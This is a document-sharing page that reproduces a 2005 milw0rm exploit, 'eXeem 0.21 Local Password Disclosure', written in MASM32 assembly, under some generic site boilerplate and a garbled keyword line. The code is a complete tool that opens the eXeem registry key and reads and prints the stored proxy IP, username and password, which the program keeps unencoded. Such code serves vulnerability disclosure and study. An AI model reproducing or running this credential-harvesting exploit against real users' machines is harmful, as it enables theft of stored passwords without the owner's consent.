eXeem 0.21 Local Password Disclosure Exploit asm.pdf

About Global Documents

Global Documents provides you with documents from around the globe on a variety of topics for your enjoyment.

Global Documents utilizes edocr for all its document needs due to edocr's wonderful content features. Thousands of professionals and businesses around the globe publish marketing, sales, operations, customer service and financial documents making it easier for prospects and customers to find content.

ADDR include masm32 include includelib masm32 lib invoke invoke lstrcpy ADDR invoke RegQueryValueEx TheReturn RegQueryValueEx TheReturn ADDR KeySize MACRO quoted_text VARARG

1 ;Nothing Special other than the program doesnt encode the proxy info.
2
3 .386
4 .model flat, stdcall
5 option casemap :none
6 include \masm32\include\windows.inc
7 include \masm32\include\user32.inc
8 include \masm32\include\kernel32.inc
9 include \masm32\include\shell32.inc
10 include \masm32\include\advapi32.inc
11 include \masm32\include\masm32.inc
12 includelib \masm32\lib\user32.lib
13 includelib \masm32\lib\kernel32.lib
14 includelib \masm32\lib\shell32.lib
15 includelib \masm32\lib\advapi32.lib
16 includelib \masm32\lib\masm32.lib
17      literal MACRO quoted_text:VARARG
18        LOCAL local_text
19        .data
20          local_text db quoted_text,0
21        .code
22        EXITM <local_text>
23      ENDM
24      SADD MACRO quoted_text:VARARG
25        EXITM <ADDR literal(quoted_text)>
26      ENDM
27 .data
28    SubKey            db "Software\\Exeem\",0
29
   szIP              db "proxy_ip",0
30
   szUser            db "proxy_username",0
31
   szPass            db "proxy_password",0
32
   noExeem           db "eXeem v0.2X is not installed on your pc!",0
33
   NotFound          db "Info NOT Stored.",0
34
   Theoutput  db   ’_______________________________________________________________’,13,10
35
              db   ’*               Exeem v0.2X Local Proxy Pass Exploit          *’,13,10
36
              db   ’*                    Based On Kozans code in C                *’,13,10
37
              db   ’*                by illwill  − xillwillx@yahoo.com            *’,13,10
38
              db   ’*_____________________________________________________________*’,13,10
39
              db   ’                      Proxy IP: %s                             ’,13,10
40
              db   ’                      UserName: %s                             ’,13,10
41
              db   ’                      Password: %s                             ’,13,10,0
42
   KeySize    DWORD 255
43
.data?
44
    TheIPData           db 64 dup (?)
45
    TheUSERData         db 64 dup (?)
46
    ThePASSData         db 64 dup (?)
47
    TheReturn           DWORD ?
48
    strbuf              db 258 dup (0) 
49
.code
50
start:
51
    invoke RegOpenKeyEx, HKEY_CURRENT_USER,addr SubKey,0,KEY_READ,addr TheReturn
52
     .IF eax==ERROR_SUCCESS
Page 1/2
eXeem 0.21 Local Password Disclosure Exploit asm
illwill
02/26/2005
53
        invoke RegQueryValueEx,TheReturn,addr szIP,0,0,addr TheIPData, addr KeySize
54
                        .IF KeySize < 2
55
                             invoke lstrcpy,addr TheIPData,SADD("NOT FOUND")
56
                        .ENDIF
57
        invoke RegQueryValueEx,TheReturn,addr szUser,0,0,addr TheUSERData, addr KeySize
58
                        .IF KeySize < 2
59
                             invoke lstrcpy,addr TheUSERData,SADD("NOT FOUND")
60
                        .ENDIF
61
        invoke RegQueryValueEx,TheReturn,addr szPass,0,0,addr ThePASSData, addr KeySize
62
                         .IF KeySize < 2
63
                             invoke lstrcpy,addr ThePASSData,SADD("NOT FOUND")
64
                        .ENDIF
65
        invoke wsprintf, addr strbuf, addr Theoutput,addr TheIPData,addr TheUSERData,addr ThePASSData
66
        invoke StdOut, addr strbuf
67
     .ELSE  
68
        invoke StdOut, addr noExeem  
69
     .ENDIF
70
    invoke RegCloseKey , TheReturn
71
   Invoke ExitProcess,0
72
end start
73
74
; milw0rm.com [2005−02−26]
Page 2/2
eXeem 0.21 Local Password Disclosure Exploit asm
illwill
02/26/2005